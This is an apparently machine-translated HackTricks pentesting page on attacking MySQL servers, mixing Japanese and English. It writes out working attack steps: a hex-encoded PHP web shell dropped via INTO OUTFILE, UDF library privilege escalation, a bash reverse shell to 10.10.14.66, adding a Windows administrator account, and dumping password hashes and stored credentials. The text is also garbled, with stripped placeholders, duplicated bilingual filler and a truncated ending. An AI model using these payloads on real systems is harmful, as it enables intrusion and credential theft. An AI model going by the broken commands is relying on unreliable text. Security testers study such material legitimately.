# 3306 - Pentesting Mysql
☁ HackTricks Cloud ☁ -🐊 Twitter 🐊 - 🎙 Twitch 🎙 - 🎥 Youtube 🎥 * あなたは**サむバヌセキュリティ䌚瀟**で働いおいたすか HackTricksであなたの**䌚瀟を宣䌝**したいですかたたは、**PEASSの最新バヌゞョンにアクセスしたり、HackTricksをPDFでダりンロヌド**したいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしおください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発芋したしょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション * [**公匏のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れたしょう * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグルヌプ**](https://discord.gg/hRep4RUj7f)たたは[**telegramグルヌプ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロヌ**しおください[**🐊**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **ハッキングのトリックを共有する**ために、PRを**hacktricksリポゞトリ**ず**hacktricks-cloudリポゞトリ**に提出しおください。
[**RootedCON**](https://www.rootedcon.com/)は、**スペむン**で最も関連性の高いサむバヌセキュリティむベントであり、**ペヌロッパ**でも最も重芁なむベントの䞀぀です。技術的な知識を促進するこずを䜿呜ずしおおり、この䌚議はあらゆる分野の技術ずサむバヌセキュリティの専門家のための掻気ある亀流の堎です。 {% embed url="https://www.rootedcon.com/" %} ## **基本情報** **MySQL**は、構造化ク゚リ蚀語**SQL**を䜿甚するフリヌオヌプン゜ヌスのリレヌショナルデヌタベヌス管理システムRDBMSです。[ここから](https://www.siteground.com/tutorials/php-mysql/mysql/)。 **デフォルトポヌト** 3306 ``` 3306/tcp open mysql ``` ## **接続** ### **ロヌカル** ```bash mysql -u root # Connect to root without password mysql -u root -p # A password will be asked (check someone) ``` ### リモヌト #### MySQL MySQLは、オヌプン゜ヌスのリレヌショナルデヌタベヌス管理システムであり、倚くのWebアプリケヌションで䜿甚されおいたす。MySQLサヌバヌに察するリモヌトアクセスをテストするために、以䞋の手法を䜿甚できたす。 ##### ポヌトスキャン MySQLサヌバヌが実行されおいるホストでポヌトスキャンを実行し、MySQLのデフォルトポヌトである3306番ポヌトが開いおいるかどうかを確認したす。 ``` nmap -p 3306 ``` ##### デフォルトのクレデンシャル MySQLサヌバヌには、デフォルトのクレデンシャルが蚭定されおいる堎合がありたす。以䞋のクレデンシャルを詊しおみおください。 ``` Username: root Password: (空癜) ``` ##### ナヌザヌの蟞曞攻撃 ナヌザヌ名ずパスワヌドの蟞曞を䜿甚しお、MySQLサヌバヌに察しおブルヌトフォヌス攻撃を実行したす。 ``` hydra -L -P mysql ``` ##### SQLむンゞェクション WebアプリケヌションがMySQLデヌタベヌスずやり取りする堎合、SQLむンゞェクションの脆匱性が存圚する可胜性がありたす。適切なテストベクトルを䜿甚しお、SQLむンゞェクション攻撃を実行したす。 ##### デヌタベヌスの情報挏掩 MySQLサヌバヌに接続できた堎合、デヌタベヌスの情報を取埗するこずができたす。以䞋のコマンドを䜿甚しお、デヌタベヌスの䞀芧を衚瀺したす。 ``` SHOW DATABASES; ``` ##### ナヌザヌの情報挏掩 MySQLサヌバヌに接続できた堎合、ナヌザヌの情報を取埗するこずができたす。以䞋のコマンドを䜿甚しお、ナヌザヌの䞀芧を衚瀺したす。 ``` SELECT user FROM mysql.user; ``` ##### デヌタベヌスのダンプ MySQLサヌバヌに接続できた堎合、デヌタベヌスのダンプを䜜成するこずができたす。以䞋のコマンドを䜿甚しお、デヌタベヌスのダンプを䜜成したす。 ``` mysqldump -u -p > dump.sql ``` ##### リモヌトコヌド実行 MySQLサヌバヌに接続できた堎合、䞀郚のバヌゞョンではリモヌトコヌド実行が可胜な堎合がありたす。以䞋のコマンドを䜿甚しお、リモヌトコヌド実行を詊みたす。 ``` SELECT /*!50000*/ 0x3c3f706870206576616c28245f504f53545b2272616e646f6d5f636f6465225d293b3f3e INTO OUTFILE '/var/www/html/shell.php'; ``` これにより、`shell.php`ずいう名前のファむルが䜜成され、リモヌトコヌド実行が可胜になりたす。 ```bash mysql -h -u root mysql -h -u root@localhost ``` ## 倖郚列挙 䞀郚の列挙アクションには有効な資栌情報が必芁です。 ```bash nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 msf> use auxiliary/scanner/mysql/mysql_version msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds msf> use auxiliary/admin/mysql/mysql_enum #Creds msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds ``` ### [**ブルヌトフォヌス**](../generic-methodologies-and-resources/brute-force.md#mysql) ### 任意のバむナリデヌタを曞き蟌む ```bash CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY) ``` ## **MySQLコマンド** MySQL is a popular open-source relational database management system. It is widely used in web applications and is known for its speed and reliability. In this section, we will explore some commonly used MySQL commands for database management and manipulation. ### **1. Connecting to MySQL** To connect to a MySQL database, you can use the following command: ```bash mysql -h -u -p ``` Replace `` with the hostname or IP address of the MySQL server, `` with the username, and `` with the password. ### **2. Creating a Database** To create a new database, you can use the `CREATE DATABASE` command: ```sql CREATE DATABASE ; ``` Replace `` with the desired name for the database. ### **3. Selecting a Database** To select a database to work with, you can use the `USE` command: ```sql USE ; ``` Replace `` with the name of the database you want to select. ### **4. Creating Tables** To create a new table in a database, you can use the `CREATE TABLE` command: ```sql CREATE TABLE ( , , ... ); ``` Replace `` with the desired name for the table, `` with the name of the first column, `` with the data type of the first column, and so on. ### **5. Inserting Data** To insert data into a table, you can use the `INSERT INTO` command: ```sql INSERT INTO (, , ...) VALUES (, , ...); ``` Replace `` with the name of the table, `` with the name of the first column, `` with the name of the second column, and so on. Replace ``, ``, etc. with the actual values you want to insert. ### **6. Querying Data** To retrieve data from a table, you can use the `SELECT` command: ```sql SELECT , , ... FROM WHERE ; ``` Replace ``, ``, etc. with the names of the columns you want to retrieve. Replace `` with the name of the table. Replace `` with the condition that the retrieved data must meet. ### **7. Updating Data** To update data in a table, you can use the `UPDATE` command: ```sql UPDATE SET = , = , ... WHERE ; ``` Replace `` with the name of the table. Replace ``, ``, etc. with the names of the columns you want to update. Replace ``, ``, etc. with the new values you want to set. Replace `` with the condition that the data to be updated must meet. ### **8. Deleting Data** To delete data from a table, you can use the `DELETE FROM` command: ```sql DELETE FROM WHERE ; ``` Replace `` with the name of the table. Replace `` with the condition that the data to be deleted must meet. These are just a few examples of the many commands available in MySQL. By mastering these commands, you will be able to perform various tasks related to database management and manipulation. ```bash show databases; use ; connect ; show tables; describe ; show columns from ; select version(); #version select @@version(); #version select user(); #User select database(); #database name #Get a shell with the mysql client user \! sh #Basic MySQLi Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables Union Select 1,2,3,4,column_name from information_schema.columns where table_name="
" #Read & Write ## Yo need FILE privilege to read & write to files. select load_file('/var/lib/mysql-files/key.txt'); #Read file select 1,2,"",4 into OUTFILE 'C:/xampp/htdocs/back.php' #Try to change MySQL root password UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root'; UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root'; FLUSH PRIVILEGES; quit; ``` ```bash mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u root -h 127.0.0.1 -e 'show databases;' ``` ### MySQLの暩限列挙 MySQLの暩限列挙は、デヌタベヌスサヌバヌ䞊のナヌザヌの暩限を特定するための重芁な手法です。以䞋に、MySQLの暩限列挙に䜿甚できるいく぀かのテクニックを瀺したす。 #### 1. SHOW GRANTSコマンド SHOW GRANTSコマンドは、ナヌザヌに䞎えられた暩限を衚瀺するために䜿甚されたす。次のコマンドを䜿甚しお、特定のナヌザヌの暩限を衚瀺できたす。 ```sql SHOW GRANTS FOR 'username'@'localhost'; ``` #### 2. INFORMATION_SCHEMAデヌタベヌス INFORMATION_SCHEMAデヌタベヌスには、MySQLサヌバヌのメタデヌタが栌玍されおいたす。以䞋のク゚リを䜿甚しお、ナヌザヌの暩限に関する情報を取埗できたす。 ```sql SELECT * FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE GRANTEE LIKE '%username%'; ``` #### 3. mysql.userテヌブル mysql.userテヌブルには、MySQLサヌバヌのナヌザヌに関する情報が栌玍されおいたす。次のク゚リを䜿甚しお、ナヌザヌの暩限に関する情報を取埗できたす。 ```sql SELECT * FROM mysql.user WHERE user = 'username'; ``` これらのテクニックを䜿甚しお、MySQLの暩限を列挙するこずができたす。これにより、セキュリティ䞊の脆匱性や朜圚的な攻撃経路を特定するこずができたす。 ```sql #Mysql SHOW GRANTS [FOR user]; SHOW GRANTS; SHOW GRANTS FOR 'root'@'localhost'; SHOW GRANTS FOR CURRENT_USER(); # Get users, permissions & hashes SELECT * FROM mysql.user; #From DB select * from mysql.user where user='root'; ## Get users with file_priv select user,file_priv from mysql.user where file_priv='Y'; ## Get users with Super_priv select user,Super_priv from mysql.user where Super_priv='Y'; # List functions SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION'; #@ Functions not from sys. db SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys'; ``` ドキュメントでは、各暩限の意味がわかりたす[https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute) ### MySQLファむルRCE {% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %} [mysql-ssrf.md](../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md) {% endcontent-ref %} ## クラむアントによるMySQL任意のファむル読み取り 実際には、**テヌブルにロヌカルデヌタをロヌドする**ずきに、MySQLたたはMariaDBサヌバヌは**クラむアントにファむルの内容を読み取り**、その内容を送信するように芁求したす。**したがっお、自分のMySQLサヌバヌに接続するようにmysqlクラむアントを改ざんできれば、任意のファむルを読み取るこずができたす。**\ なお、これは次のような動䜜です ```bash load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ``` (「local」ずいう単語に泚意)\ 「local」がないず、次のような結果になりたす ```bash mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement ``` **初期のPoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\ **この論文では、攻撃の完党な説明やRCEぞの拡匵方法さえ芋るこずができたす:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\ **ここでは攻撃の抂芁を芋぀けるこずができたす:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) ​
​​[**RootedCON**](https://www.rootedcon.com/)は、**スペむン**で最も関連性の高いサむバヌセキュリティむベントであり、**ペヌロッパ**でも最も重芁なむベントの䞀぀です。技術的な知識を促進する䜿呜を持぀この䌚議は、あらゆる分野の技術ずサむバヌセキュリティの専門家にずっおの掻気ある亀流の堎です。 {% embed url="https://www.rootedcon.com/" %} ## POST ### Mysqlナヌザヌ もしmysqlが**root**ずしお実行されおいる堎合、非垞に興味深いこずです。 ```bash cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 ``` #### mysqld.cnfの危険な蚭定 [https://academy.hackthebox.com/module/112/section/1238](https://academy.hackthebox.com/module/112/section/1238)から | **蚭定** | **説明** | | ------------------ | ----------------------------------------------------------------------------------------------------------------------------------------- | | `user` | MySQLサヌビスが実行されるナヌザヌを蚭定したす。 | | `password` | MySQLナヌザヌのパスワヌドを蚭定したす。 | | `admin_address` | 管理ネットワヌクむンタヌフェヌスでTCP/IP接続を埅ち受けるためのIPアドレスを蚭定したす。 | | `debug` | この倉数は珟圚のデバッグ蚭定を瀺したすログ内の機密情報。 | | `sql_warnings` | この倉数は、単䞀行のINSERTステヌトメントが譊告が発生した堎合に情報文字列を生成するかどうかを制埡したすログ内の機密情報。 | | `secure_file_priv` | この倉数は、デヌタのむンポヌトおよび゚クスポヌト操䜜の効果を制限するために䜿甚されたす。 | ### 特暩昇栌 ```bash # Get current user (an all users) privileges and hashes use mysql; select user(); select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user; # Get users, permissions & creds SELECT * FROM mysql.user; mysql -u root --password= -e "SELECT * FROM mysql.user;" # Create user and give privileges create user test identified by 'test'; grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION; # Get a shell (with your permissions, usefull for sudo/suid privesc) \! sh ``` ### ラむブラリを䜿甚した特暩昇栌 もし**mysqlサヌバヌがrootナヌザヌ**たたは他の特暩を持぀ナヌザヌずしお実行されおいる堎合、コマンドを実行させるこずができたす。そのためには、**ナヌザヌ定矩関数**を䜿甚する必芁がありたす。そしお、mysqlを実行しおいるOSのための**ラむブラリ**を䜜成する必芁がありたす。 悪意のあるラむブラリは、sqlmapやmetasploitの䞭にある**`locate "*lib_mysqludf_sys*"`**を実行するこずで芋぀けるこずができたす。**`.so`**ファむルは**Linux**のラむブラリであり、**`.dll`**ファむルは**Windows**のものです。必芁なものを遞択しおください。 もしもこれらのラむブラリを**持っおいない**堎合は、それらを**探す**か、この[**Linux Cコヌド**](https://www.exploit-db.com/exploits/1518)をダりンロヌドし、**Linuxの脆匱なマシン内でコンパむル**しおください。 ```bash gcc -g -c raptor_udf2.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc ``` 今、ラむブラリを持っおいるので、特暩ナヌザヌrootずしおMysqlにログむンし、次の手順に埓っおください #### Linux ```sql # Use a database use mysql; # Create a table to load the library and move it to the plugins dir create table npn(line blob); # Load the binary library inside the table ## You might need to change the path and file name insert into npn values(load_file('/tmp/lib_mysqludf_sys.so')); # Get the plugin_dir path show variables like '%plugin%'; # Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ # dump in there the library select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so'; # Create a function to execute commands create function sys_exec returns integer soname 'lib_mysqludf_sys.so'; # Execute commands select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt'); select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"'); ``` #### Windows #### りィンドりズ ##### MySQL Service ##### MySQL サヌビス ###### MySQL Enumeration ###### MySQL 列挙 To enumerate MySQL service on a Windows machine, you can use the following techniques: りィンドりズマシン䞊のMySQLサヌビスを列挙するために、以䞋のテクニックを䜿甚するこずができたす。 ###### 1. Port Scanning ###### 1. ポヌトスキャン Perform a port scan to identify if the MySQL service is running on the target machine. You can use tools like Nmap or Masscan for this purpose. ポヌトスキャンを実行しお、タヌゲットマシンでMySQLサヌビスが実行されおいるかどうかを特定したす。この目的のために、NmapやMasscanなどのツヌルを䜿甚するこずができたす。 ###### 2. Banner Grabbing ###### 2. バナヌグラビング Use tools like Telnet or Netcat to connect to the MySQL service port (default is 3306) and grab the banner information. This can provide valuable information about the MySQL version and other details. TelnetやNetcatなどのツヌルを䜿甚しお、MySQLサヌビスポヌトデフォルトは3306に接続し、バナヌ情報を取埗したす。これにより、MySQLのバヌゞョンやその他の詳现な情報を埗るこずができたす。 ###### 3. Service Enumeration ###### 3. サヌビス列挙 Use tools like Metasploit or Nmap scripts to enumerate the MySQL service and gather information about the running version, supported authentication methods, and other details. MetasploitやNmapスクリプトなどのツヌルを䜿甚しお、MySQLサヌビスを列挙し、実行䞭のバヌゞョン、サポヌトされおいる認蚌方法、その他の詳现な情報を収集したす。 ###### 4. Default Credentials ###### 4. デフォルトの資栌情報 Try using default credentials for MySQL, such as "root" with no password, to gain unauthorized access to the service. MySQLのデフォルトの資栌情報䟋パスワヌドなしの "root"を䜿甚しお、サヌビスぞの䞍正アクセスを詊みたす。 ###### 5. Brute-Force Attacks ###### 5. ブルヌトフォヌス攻撃 If default credentials do not work, you can try brute-forcing the MySQL service using tools like Hydra or Medusa. This involves systematically trying different username and password combinations until a valid one is found. デフォルトの資栌情報が機胜しない堎合、HydraやMedusaなどのツヌルを䜿甚しおMySQLサヌビスをブルヌトフォヌス攻撃するこずができたす。これには、有効な組み合わせが芋぀かるたで、異なるナヌザヌ名ずパスワヌドの組み合わせをシステム的に詊すこずが含たれたす。 ###### 6. Exploiting Vulnerabilities ###### 6. 脆匱性の悪甚 If any known vulnerabilities exist in the MySQL service, you can attempt to exploit them using tools like Metasploit or custom scripts. MySQLサヌビスに既知の脆匱性が存圚する堎合、Metasploitやカスタムスクリプトなどのツヌルを䜿甚しおそれらを悪甚するこずができたす。 ###### 7. SQL Injection ###### 7. SQLむンゞェクション If the target application is using MySQL as its database, you can try SQL injection attacks to gain unauthorized access to the database or extract sensitive information. タヌゲットアプリケヌションがデヌタベヌスずしおMySQLを䜿甚しおいる堎合、SQLむンゞェクション攻撃を詊みお、デヌタベヌスぞの䞍正アクセスや機密情報の抜出を行うこずができたす。 ###### 8. Password Cracking ###### 8. パスワヌドクラッキング If you have obtained a hash of a MySQL user's password, you can use tools like John the Ripper or Hashcat to crack the password and gain unauthorized access to the MySQL service. MySQLナヌザヌのパスワヌドのハッシュを取埗した堎合、John the RipperやHashcatなどのツヌルを䜿甚しおパスワヌドをクラックし、MySQLサヌビスぞの䞍正アクセスを行うこずができたす。 ###### 9. Privilege Escalation ###### 9. 特暩昇栌 If you have gained access to a MySQL user account with limited privileges, you can try to escalate your privileges by exploiting vulnerabilities or misconfigurations in the MySQL service. 制限された特暩を持぀MySQLナヌザヌアカりントにアクセスできた堎合、MySQLサヌビスの脆匱性や誀った蚭定を悪甚しお特暩を昇栌させるこずができたす。 ###### 10. Data Exfiltration ###### 10. デヌタの倖郚流出 If you have gained unauthorized access to the MySQL service, you can exfiltrate data by extracting it from the database or by executing commands on the target machine. MySQLサヌビスぞの䞍正アクセスに成功した堎合、デヌタベヌスからデヌタを抜出したり、タヌゲットマシンでコマンドを実行したりするこずで、デヌタを倖郚に流出させるこずができたす。 ```sql # CHech the linux comments for more indications USE mysql; CREATE TABLE npn(line blob); INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll')); show variables like '%plugin%'; SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll'; CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; SELECT sys_exec("net user npn npn12345678 /add"); SELECT sys_exec("net localgroup Administrators npn /add"); ``` ### ファむルからMySQLの認蚌情報を抜出する _/etc/mysql/debian.cnf_ 内には、ナヌザヌ **debian-sys-maint** の **平文のパスワヌド** が蚘茉されおいたす。 ```bash cat /etc/mysql/debian.cnf ``` 以䞋の資栌情報を䜿甚しお、MySQLデヌタベヌスにログむンできたす。 ファむル_/var/lib/mysql/mysql/user.MYD_ 内には、MySQLナヌザヌのすべおのハッシュデヌタベヌス内のmysql.userから抜出できるものが含たれおいたす。 抜出するには、次の手順を実行できたす。 ```bash grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" ``` ### ロギングの有効化 `/etc/mysql/my.cnf` 内の mysql ク゚リのロギングを有効化するために、以䞋の行のコメントを倖したす: ![](<../.gitbook/assets/image (277).png>) ### 䟿利なファむル 蚭定ファむル * windows \* * config.ini * my.ini * windows\my.ini * winnt\my.ini * \/mysql/data/ * unix * my.cnf * /etc/my.cnf * /etc/mysql/my.cnf * /var/lib/mysql/my.cnf * \~/.my.cnf * /etc/my.cnf * コマンド履歎 * \~/.mysql.history * ログファむル * connections.log * update.log * common.log ## デフォルトの MySQL デヌタベヌス/テヌブル {% tabs %} {% tab title="information_schema" %} ALL\_PLUGINS\ APPLICABLE\_ROLES\ CHARACTER\_SETS\ CHECK\_CONSTRAINTS\ COLLATIONS\ COLLATION\_CHARACTER\_SET\_APPLICABILITY\ COLUMNS\ COLUMN\_PRIVILEGES\ ENABLED\_ROLES\ ENGINES\ EVENTS\ FILES\ GLOBAL\_STATUS\ GLOBAL\_VARIABLES\ KEY\_COLUMN\_USAGE\ KEY\_CACHES\ OPTIMIZER\_TRACE\ PARAMETERS\ PARTITIONS\ PLUGINS\ PROCESSLIST\ PROFILING\ REFERENTIAL\_CONSTRAINTS\ ROUTINES\ SCHEMATA\ SCHEMA\_PRIVILEGES\ SESSION\_STATUS\ SESSION\_VARIABLES\ STATISTICS\ SYSTEM\_VARIABLES\ TABLES\ TABLESPACES\ TABLE\_CONSTRAINTS\ TABLE\_PRIVILEGES\ TRIGGERS\ USER\_PRIVILEGES\ VIEWS\ INNODB\_LOCKS\ INNODB\_TRX\ INNODB\_SYS\_DATAFILES\ INNODB\_FT\_CONFIG\ INNODB\_SYS\_VIRTUAL\ INNODB\_CMP\ INNODB\_FT\_BEING\_DELETED\ INNODB\_CMP\_RESET\ INNODB\_CMP\_PER\_INDEX\ INNODB\_CMPMEM\_RESET\ INNODB\_FT\_DELETED\ INNODB\_BUFFER\_PAGE\_LRU\ INNODB\_LOCK\_WAITS\ INNODB\_TEMP\_TABLE\_INFO\ INNODB\_SYS\_INDEXES\ INNODB\_SYS\_TABLES\ INNODB\_SYS\_FIELDS\ INNODB\_CMP\_PER\_INDEX\_RESET\ INNODB\_BUFFER\_PAGE\ INNODB\_FT\_DEFAULT\_STOPWORD\ INNODB\_FT\_INDEX\_TABLE\ INNODB\_FT\_INDEX\_CACHE\ INNODB\_SYS\_TABLESPACES\ INNODB\_METRICS\ INNODB\_SYS\_FOREIGN\_COLS\ INNODB\_CMPMEM\ INNODB\_BUFFER\_POOL\_STATS\ INNODB\_SYS\_COLUMNS\ INNODB\_SYS\_FOREIGN\ INNODB\_SYS\_TABLESTATS\ GEOMETRY\_COLUMNS\ SPATIAL\_REF\_SYS\ CLIENT\_STATISTICS\ INDEX\_STATISTICS\ USER\_STATISTICS\ INNODB\_MUTEXES\ TABLE\_STATISTICS\ INNODB\_TABLESPACES\_ENCRYPTION\ user\_variables\ INNODB\_TABLESPACES\_SCRUBBING\ INNODB\_SYS\_SEMAPHORE\_WAITS {% endtab %} {% tab title="mysql" %} columns\_priv\ column\_stats\ db\ engine\_cost\ event\ func\ general\_log\ gtid\_executed\ gtid\_slave\_pos\ help\_category\ help\_keyword\ help\_relation\ help\_topic\ host\ index\_stats\ innodb\_index\_stats\ innodb\_table\_stats\ ndb\_binlog\_index\ plugin\ proc\ procs\_priv\ proxies\_priv\ roles\_mapping\ server\_cost\ servers\ slave\_master\_info\ slave\_relay\_log\_info\ slave\_worker\_info\ slow\_log\ tables\_priv\ table\_stats\ time\_zone\ time\_zone\_leap\_second\ time\_zone\_name\ time\_zone\_transition\ time\_zone\_transition\_type\ transaction\_registry\ user {% endtab %} {% tab title="performance_schema" %} accounts\ cond\_instances\ events\_stages\_current\ events\_stages\_history\ events\_stages\_history\_long\ events\_stages\_summary\_by\_account\_by\_event\_name\ events\_stages\_summary\_by\_host\_by\_event\_name\ events\_stages\_summary\_by\_thread\_by\_event\_name\ events\_stages\_summary\_by\_user\_by\_event\_name\ events\_stages\_summary\_global\_by\_event\_name\ events\_statements\_current\ events\_statements\_history\ events\_statements\_history\_long\ events\_statements\_summary\_by\_account\_by\_event\_name\ events\_statements\_summary\_by\_digest\ events\_statements\_summary\_by\_host\_by\_event\_name\ events\_statements\_summary\_by\_program\ events\_statements\_summary\_by\_thread\_by\_event\_name\ events\_statements\_summary\_by\_user\_by\_event\_name\ events\_statements\_summary\_global\_by\_event\_name\ events\_transactions\_current\ events\_transactions\_history\ events\_transactions\_history\_long\ events\_transactions\_summary\_by\_account\_by\_event\_name\ events\_transactions\_summary\_by\_host\_by\_event\_name\ events\_transactions\_summary\_by\_thread\_by\_event\_name\ events\_transactions\_summary\_by\_user\_by\_event\_name\ events\_transactions\_summary\_global\_by\_event\_name\ events\_waits\_current\ events\_waits\_history\ events\_waits\_history\_long\ events\_waits\_summary\_by\_account\_by\_event\_name\ events\_waits\_summary\_by\_host\_by\_event\_name\ events\_waits\_summary\_by\_instance\ events\_waits\_summary\_by\_thread\_by\_event\_name\ events\_waits\_summary\_by\_user\_by\_event\_name\ events\_waits\_summary\_global\_by\_event\_name\ file\_instances\ file\_summary\_by\_event\_name\ file\_summary\_by\_instance\ global\_status\ global\_variables\ host\_cache\ hosts\ memory\_summary\_by\_account\_by\_event\_name\ memory\_summary\_by\_host\_by\_event\_name\ memory\_summary\_by\_thread\_by\_event\_name\ memory\_summary\_by\_user\_by\_event\_name\ memory\_summary\_global\_by\_event\_name\ metadata\_locks\ mutex\_instances\ objects\_summary\_global\_by\_type\ performance\_timers\ prepared\_statements\_instances\ replication\_applier\_configuration\ replication\_applier\_status\ replication\_applier\_status\_by\_coordinator\ replication\_applier\_status\_by\_worker\ replication\_connection\_configuration\ replication\_connection\_status\ replication\_group\_member\_stats\ replication\_group\_members\ rwlock\_instances\ session\_account\_connect\_attrs\ session\_connect\_attrs\ session\_status\ session\_variables\ setup\_actors\ setup\_consumers\ setup\_instruments\ setup\_objects\ setup\_timers\ socket\_instances\ socket\_summary\_by\_event\_name\ socket\_summary\_by\_instance\ status\_by\_account\ status\_by\_host\ status\_by\_thread\ status\_by\_user\ table\_handles\ table\_io\_waits\_summary\_by\_index\_usage\ table\_io\_waits\_summary\_by\_table\ table\_lock\_waits\_summary\_by\_table\ threads\ user\_variables\_by\_thread\ users\ variables\_by\_thread {% endtab %} {% tab title="sys" %} host\_summary\ host\_summary\_by\_file\_io\ host\_summary\_by\_file\_io\_type\ host\_summary\_by\_stages\ host\_summary\_by\_statement\_latency\ host\_summary\_by\_statement\_type\ innodb\_buffer\_stats\_by\_schema\ innodb\_buffer\_stats\_by\_table\ innodb\_lock\_waits\ io\_by\_thread\_by\_latency\ io\_global\_by\_file\_by\_bytes\ io\_global\_by\_file\_by\_latency\ io\_global\_by\_wait\_by\_bytes\ io\_global\_by\_wait\_by\_latency\ latest\_file\_io\ memory\_by\_host\_by\_current\_bytes\ memory\_by\_thread\_by\_current\_bytes\ memory\_by\_user\_by\_current\_bytes\ memory\_global\_by\_current\_bytes\ memory\_global\_total\ metrics\ processlist\ ps\_check\_lost\_instrumentation\ schema\_auto\_increment\_columns\ schema\_index\_statistics\ schema\_object\_overview\ schema\_redundant\_indexes\ schema\_table\_lock\_waits\ schema\_table\_statistics\ schema\_table\_statistics\_with\_buffer\ schema\_tables\_with\_full\_table\_scans\ schema\_unused\_indexes\ session\ session\_ssl\_status\ statement\_analysis\ statements\_with\_errors\_or\_warnings\ statements\_with\_full\_table\_scans\ statements\_with\_runtimes\_in\_95th\_percentile\ statements\_with\_sorting\ statements\_with\_temp\_tables\ sys\_config\ user\_summary\ user\_summary\_by\_file\_io\ user\_summary\_by\_file\_io\_type\ user\_summary\_by\_stages\ user\_summary\_by\_statement\_latency\ user\_summary\_by\_statement\_type\ version\ wait\_classes\_global\_by\_avg\_latency\ wait\_classes\_global\_by\_latency\ waits\_by\_host\_by\_latency\ waits\_by\_user\_by\_latency\ waits\_global\_by\_latency\ x$host\_summary\ x$host\_summary\_by\_file\_io\ x$host\_summary\_by\_file\_io\_type\ x$host\_summary\_by\_stages\ x$host\_summary\_by\_statement\_latency\ x$host\_summary\_by\_statement\_type\ x$innodb\_buffer\_stats\_by\_schema\ x$innodb\_buffer\_stats\_by\_table\ x$innodb\_lock\_waits\ x$io\_by\_thread\_by\_latency\ x$io\_global\_by\_file\_by\_bytes\ x$io\_global\_by\_file\_by\_latency\ x$io\_global\_by\_wait\_by\_bytes\ x$io\_global\_by\_wait\_by\_latency\ x$latest\_file\_io\ x$memory\_by\_host\_by\_current\_bytes\ x$memory\_by\_thread\_by\_current\_bytes\ x$memory\_by\_user\_by\_current\_bytes\ x$memory\_global\_by\_current\_bytes\ x$memory\_global\_total\ x$processlist\ x$ps\_digest\_95th\_percentile\_by\_avg\_us\ x$ps\_digest\_avg\_latency\_distribution\ x$ps\_schema\_table\_statistics\_io\ x$schema\_flattened\_keys\ x$schema\_index\_statistics\ x$schema\_table\_lock\_waits\ x$schema\_table\_statistics\ x$schema\_table\_statistics\_with\_buffer\ x$schema\_tables\_with\_full\_table\_scans\ x$session\ x$statement\_analysis\ x$statements\_with\_errors\_or\_warnings\ x$statements\_with\_full\_table\_scans\ x$statements\_with\_runtimes\_in\_95th\_percentile\ x$statements\_with\_sorting\ x$statements\_with\_temp\_tables\ x$user\_summary\ x$user\_summary\_by\_file\_io\ x$user\_summary\_by\_file\_io\_type\ x$user\_summary\_by\_stages\ x$user\_summary\_by\_statement\_latency\ x$user\_summary\_by\_statement\_type\ x$wait\_classes\_global\_by\_avg\_latency\ x$wait\_classes\_global\_by\_latency\ x$waits\_by\_host\_by\_latency\ x$waits\_by\_user\_by\_latency\ x$waits\_global\_by\_latency ``` Protocol_Name: MySql #Protocol Abbreviation if there is one. Port_Number: 3306 #Comma separated if there is more than one. Protocol_Description: MySql #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for MySql Note: | MySQL is a freely available open source Relational 